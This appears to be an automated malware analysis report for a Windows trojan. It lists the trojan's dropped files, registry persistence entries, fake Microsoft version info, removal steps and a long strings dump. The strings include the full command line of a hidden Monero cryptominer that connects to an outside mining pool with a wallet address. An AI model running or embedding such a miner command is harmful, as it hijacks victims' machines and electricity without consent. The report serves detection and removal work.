Trojan.Win32.FlyStudio_feb553e293

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

srvany.exe:484
%original file name%.exe:852

The Trojan injects its code into the following process(es):

Systmsi.exe:168

Mutexes

The following mutexes were created/opened:

ShimCacheMutex

File activity

The process %original file name%.exe:852 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%WinDir%\Systmsi.exe (7972 bytes)
%System%\srvany.exe (8 bytes)

Registry activity

The process srvany.exe:484 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E6 79 95 64 02 79 97 09 33 ED 34 24 1A 8B B2 B7"

The process %original file name%.exe:852 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D4 18 D9 E4 A1 01 18 AD 3D B6 71 0D 63 23 B9 7B"

[HKLM\System\CurrentControlSet\Services\Mmservess\Parameters]
"Application" = "c:\windows\svchoss.exe"
"AppDirectory" = "c:\windows\"

The process Systmsi.exe:168 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "9A 1A FA 39 60 11 8E 39 94 83 FC 6F A6 C9 56 A9"

Dropped PE files

MD5	File path
3afeb8e9af02a33ff71bf2f6751cae3a	c:\WINDOWS\Systmsi.exe
4635935fc972c582632bf45c26bfcb0e	c:\WINDOWS\system32\srvany.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):

   srvany.exe:484
   %original file name%.exe:852
   

2. Delete the original Trojan file.
   
3. Delete or disinfect the following files created/modified by the Trojan:

   %WinDir%\Systmsi.exe (7972 bytes)
   %System%\srvany.exe (8 bytes)

4. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name: Microsoft Corporation
Product Name: HD Player
Product Version: 6.1.7600.16385
Legal Copyright: (c) Microsoft Corporation. All rights reserved.
Legal Trademarks:
Original Filename: WINHLP32.EXE
Internal Name: WINHSTB
File Version: 6.1.7600.16385 (win7_rtm.090713-1255)
File Description: Windows Winhlp32 Stub
Comments:
Language: Language Neutral

Company Name: Microsoft CorporationProduct Name: HD Player Product Version: 6.1.7600.16385Legal Copyright: (c) Microsoft Corporation. All rights reserved.Legal Trademarks: Original Filename: WINHLP32.EXEInternal Name: WINHSTBFile Version: 6.1.7600.16385 (win7_rtm.090713-1255)File Description: Windows Winhlp32 StubComments: Language: Language Neutral

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	548250	548864	4.55263	d9d5d1a6de71783dd97e9f63c4d2eda5
.rdata	552960	3088150	3088384	5.49628	ef661e90226b3cd742cc5c54ffeacda4
.data	3641344	162376	73728	3.48987	43e9c7f7ae3791d02e17d4871afa86e6
.rsrc	3805184	24576	24576	3.00864	a3bf26fe709435d26c129d82b7ea573e

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

%original file name%.exe_852:

.text

.text

`.rdata

`.rdata

@.data

@.data

.rsrc

.rsrc

t$(SSh

t$(SSh

u.htEx

u.htEx

~%UVW

~%UVW

u$SShe

u$SShe

kernel32.dll

kernel32.dll

user32.dll

user32.dll

advapi32.dll

advapi32.dll

Advapi32.dll

Advapi32.dll

Kernel32.dll

Kernel32.dll

ADVAPI32.DLL

ADVAPI32.DLL

EnumWindows

EnumWindows

RegOpenKeyExA

RegOpenKeyExA

RegCreateKeyExA

RegCreateKeyExA

RegCloseKey

RegCloseKey

GetServiceKeyNameA

GetServiceKeyNameA

Systmsi.exe

Systmsi.exe

Systmsi.exe -a cryptonight -o stratum tcp://xmr1.crypto-pool.fr:7777 -u 43YkRcrdW8zDsMNhP29S1yF8QBqYJ5UGgPCgCXUKyHnFFD8proXWxywYgMLvxBpVb4TSN3fD9taDrbJYnPbXAg6K5kNpLiN -p x -t 0 -dbg -1

Systmsi.exe -a cryptonight -o stratum tcp://xmr1.crypto-pool.fr:7777 -u 43YkRcrdW8zDsMNhP29S1yF8QBqYJ5UGgPCgCXUKyHnFFD8proXWxywYgMLvxBpVb4TSN3fD9taDrbJYnPbXAg6K5kNpLiN -p x -t 0 -dbg -1

Systmssi.exe

Systmssi.exe

Systmssi.exe -a cryptonight -o stratum tcp://xmr1.crypto-pool.fr:7777 -u 43YkRcrdW8zDsMNhP29S1yF8QBqYJ5UGgPCgCXUKyHnFFD8proXWxywYgMLvxBpVb4TSN3fD9taDrbJYnPbXAg6K5kNpLiN -p x -t 0 -dbg -1

Systmssi.exe -a cryptonight -o stratum tcp://xmr1.crypto-pool.fr:7777 -u 43YkRcrdW8zDsMNhP29S1yF8QBqYJ5UGgPCgCXUKyHnFFD8proXWxywYgMLvxBpVb4TSN3fD9taDrbJYnPbXAg6K5kNpLiN -p x -t 0 -dbg -1

.pdata

.pdata

@.tls

@.tls

.vmp0

.vmp0

.vmp1

.vmp1

.reloc

.reloc

@.rsrc

@.rsrc

~{DsSh

~{DsSh

YhKsSh

YhKsSh

.ydn8

.ydn8

.XHUBL

.XHUBL

F.MDo

F.MDo

/%c|]

/%c|]

Dh%dl{i

Dh%dl{i

V.Xk(b4i

V.Xk(b4i

[k.Wp

[k.Wp

R7Å’

R7Å’

J".yk;?

J".yk;?

9,%u4o

9,%u4o

gYw.Sd

gYw.Sd

ÍqC

ÍqC

R

R

%x9$

%x9$

d.Jn1QBE

d.Jn1QBE

uE.kjZ

uE.kjZ

v,%xP

v,%xP

x_.LB}

x_.LB}

J%f|&

J%f|&

d-RNC}

d-RNC}

@9%6s

@9%6s

OVV%d

OVV%d

b.Ra18

b.Ra18

G`.db

G`.db

$,J%d

$,J%d

Q%U08

Q%U08

m6%cy1~

m6%cy1~

: %d_

: %d_

D%czn

D%czn

d%UH{

d%UH{

d-S};:

d-S};:

.rl=q

.rl=q

d~.Ty

d~.Ty

C%dG#

C%dG#

Wudp

Wudp

B,.Ad

B,.Ad

,.lkG[

,.lkG[

Uc%sV/

Uc%sV/

%d|u g:

%d|u g:

rb;%d

rb;%d

N~U%doz

N~U%doz

[2gM4|%d

[2gM4|%d

-W}"6p

-W}"6p

mA.RT

mA.RT

|X %u

|X %u

/U\H%u

/U\H%u

Z2.Oj

Z2.Oj

%x6t@

%x6t@

p8w%Ud`

p8w%Ud`

)s%cK

)s%cK

^;%cv

^;%cv

.dpFD

.dpFD

Z.dAp

Z.dAp

Z{%dQ

Z{%dQ

N%dT

N%dT

e]VJ

e]VJ

*l2%dk

*l2%dk

.Ruvd^

.Ruvd^

.crj}

.crj}

SqlE

SqlE

dK.iy

dK.iy

.NT"m

.NT"m

jfFL#%dV

jfFL#%dV

%dM)*wa

%dM)*wa

w%DREP

w%DREP

T.ldE

T.ldE

%f_WB

%f_WB

.jG1i

.jG1i

~l%dM

~l%dM

S%dJ:

S%dJ:

.eLDO

.eLDO

%d_}l

%d_}l

\O4K

\O4K

m1%xv

m1%xv

%d*5_]

%d*5_]

T~U`c.Oj}

T~U`c.Oj}

.fN;

.fN;

Y: %x

Y: %x

1#Hd.yn,

1#Hd.yn,

rudpn

rudpn

.Wqdy

.Wqdy

P%dtl

P%dtl

u-6Z}

u-6Z}

%XYfa`

%XYfa`

dS.NR

dS.NR

dw.hX~

dw.hX~

K%dg#

K%dg#

5r8,.cU

5r8,.cU

/ .dDV

/ .dDV

dw%Ua

dw%Ua

1d ,.by

1d ,.by

.dE-o

.dE-o

.fx}x

.fx}x

qWo.KoX

qWo.KoX

\(;k%d

\(;k%d

)hg2/]Q{x%s

)hg2/]Q{x%s

MA.dcS

MA.dcS

.DfdY

.DfdY

"7TMÖD^

"7TMÖD^

.dh>S

.dh>S

KERNEL32.dll

KERNEL32.dll

ADVAPI32.dll

ADVAPI32.dll

9g.dO

9g.dO

P.bz"|

P.bz"|

Md["5).gD

Md["5).gD

F%D'@

F%D'@

,d *)('&M3210/.-

,d *)('&M3210/.-

%].IP

%].IP

eNh

eNh

c@i%d

c@i%d

xkWebX

xkWebX

.kXI3

.kXI3

$D.bg

$D.bg

]BP%cnc*

]BP%cnc*

sQLK

sQLK

P.fNA@?k

P.fNA@?k

`f%XtBt

`f%XtBt

.tTrc

.tTrc

J%sJ\l

J%sJ\l

8fO}eQtn%D|

8fO}eQtn%D|

%8XKF

%8XKF

0.cG$~

0.cG$~

*9h 4B%S

*9h 4B%S

.pD]5

.pD]5

*.*J\2

*.*J\2

Ku? %C#

Ku? %C#

*f~%u

*f~%u

K%D@9oF1DL

K%D@9oF1DL

.glJ(

.glJ(

1.czC

1.czC

gsqL

gsqL

l.Cx"

l.Cx"

{\.Iv0jNan$

{\.Iv0jNan$

8.Ou3

8.Ou3

BSql

BSql

6%x^b

6%x^b

#.Pqv

#.Pqv

m:\[8

m:\[8

tH^!.AX

tH^!.AX

l(`.DoBc"

l(`.DoBc"

|e%x`

|e%x`

jO.PaoA

jO.PaoA

`.kfa

`.kfa

2t b.csv

2t b.csv

-WpCrt'

-WpCrt'

.UgHv

.UgHv

sIr%sBrNs{rOstrxs]riK

sIr%sBrNs{rOstrxs]riK

L.rv

L.rv

cA tIx.cA

cA tIx.cA

%8Sj[C

%8Sj[C

%UL"X@

%UL"X@

YL.FtBDrK

YL.FtBDrK

ÚB oFAb"

ÚB oFAb"

p.uW&

p.uW&

w=\user32.dll

w=\user32.dll

WS2_32.dll

WS2_32.dll

)l.iWR

)l.iWR

T%Fj>

T%Fj>

USER32.dll

USER32.dll

E:\CryptoNight\bitmonero-master\src\miner\x64\CPU-Release\Crypto.pdb

E:\CryptoNight\bitmonero-master\src\miner\x64\CPU-Release\Crypto.pdb

true

true

,Niw0.Sg

,Niw0.Sg

3.pQJ[8

3.pQJ[8

.SjIp

.SjIp

2.sLi

2.sLi

%S!41

%S!41

-i.OA

-i.OA

&b%xb#

&b%xb#

.Lc\q3

.Lc\q3

o%C!Rs]

o%C!Rs]

x.Lu~

x.Lu~

L.qc7

L.qc7

.QG{Ml

.QG{Ml

%.ONP

%.ONP

"%XE*QyU

"%XE*QyU

.iP-.

.iP-.

5]%6u

5]%6u

YOP,%F

YOP,%F

.gb7-

.gb7-

$%6s#&

$%6s#&

,%uK]

,%uK]

-2.OBv

-2.OBv

%%u{^

%%u{^

-i.MeR>PR

-i.MeR>PR

6.sf.

6.sf.

% .cwvGu

% .cwvGu

5.BL?r

5.BL?r

3.uE"*8

3.uE"*8

_%9X

_%9X

.Ye1B

.Ye1B

cSuS%S

cSuS%S

Og#"%sS

Og#"%sS

nh.FB

nh.FB

s]rj%s

s]rj%s

T -L}

T -L}

7b.zW_

7b.zW_

.vA2c

.vA2c

P?\ô

P?\ô

& .FP

& .FP

o/.Uv

o/.Uv

sSe`}%CR

sSe`}%CR

D_.mRW

D_.mRW

Kx`.rQ

Kx`.rQ

I3.yO

I3.yO

`.lA#

`.lA#

1:q

1:q

O^.DM-

O^.DM-

%D,3D

%D,3D

/9\:G%X

/9\:G%X

H%CQt`

H%CQt`

2.NUr

2.NUr

us.QM

us.QM

.WXp9

.WXp9

5TA%f

5TA%f

rt%XS

rt%XS

%F?;=

%F?;=

vwijmB%f

vwijmB%f

Kv(.rt

Kv(.rt

.kE1b

.kE1b

.Fv.1

.Fv.1

`.nH0

`.nH0

p@.Rc

p@.Rc

.MLj2

.MLj2

.gue,

.gue,

v.XR2

v.XR2

0h.fY

0h.fY

O-%UZq

O-%UZq

.Lqd*

.Lqd*

8%F.2

8%F.2

r.EJ@

r.EJ@

3>L.bZ

3>L.bZ

y.Kqk

y.Kqk

.MJ7R

.MJ7R

G.MVo/

G.MVo/

X@%5sG

X@%5sG

!iQ.GL

!iQ.GL

S=%Uo

S=%Uo

UE.eH1

UE.eH1

s.RoG

s.RoG

:?B.At

:?B.At

7`|.mD*l

7`|.mD*l

.GOA-

.GOA-

.qYc

.qYc

crTV

crTV

%X83(

%X83(

!.AU8

!.AU8

.XW$]

.XW$]

.yA b

.yA b

OSQl

OSQl

2b.cX

2b.cX

.%Uuo

.%Uuo

9%D(:

9%D(:

.ETC.

.ETC.

8 8$8(8,8084888

8 8$8(8,8084888

4O4

4O4

88L8U8

88L8U8

? ?$?(?,?0?4?8?@?`?

? ?$?(?,?0?4?8?@?`?

4 4$4(4@4

4 4$4(4@4

6p7f7x7

6p7f7x7

7v7D7p7}7

7v7D7p7}7

8$;(;,;0;4;8;

8$;(;,;0;4;8;

7u7F7Q7

7u7F7Q7

1!1%1)1-1115191

1!1%1)1-1115191

1!292?2

1!292?2

4$4(4,404

4$4(4,404

4 4$4(4,4044484

4 4$4(4,4044484

;

;